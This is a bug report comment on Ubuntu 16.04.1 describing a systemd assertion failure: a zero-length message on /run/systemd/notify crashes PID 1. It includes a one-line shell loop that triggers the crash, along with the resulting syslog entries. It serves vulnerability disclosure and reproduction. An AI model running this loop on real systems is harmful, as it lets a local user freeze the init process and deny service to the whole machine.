Comment 0 for bug 1628687

Jorge Niedbalski (niedbalski) wrote :

Environment:

Xenial 16.04.1
Amd64

Description.

Systemd fails an assertion in manager_invoke_notify_message when a zero-length message is received over /run/systemd/notify. This allows a local user to perform a denial-of-service attack against PID 1.

How to trigger the bug:

$ while true; do NOTIFY_SOCKET=/run/systemd/notify systemd-notify ""; done

The following entries are written into /var/log/syslog, at this point systemd is crashed.

Sep 28 20:57:20 ubuntu systemd[1]: Started User Manager for UID 1000.
Sep 28 20:57:28 ubuntu systemd[1]: Assertion 'n > 0' failed at ../src/core/manager.c:1501, function manager_invoke_notify_message(). Aborting.
Sep 28 20:57:29 ubuntu systemd[1]: Caught <ABRT>, dumped core as pid 1307.
Sep 28 20:57:29 ubuntu systemd[1]: Freezing execution.

Public bug: https://github.com/systemd/systemd/issues/4234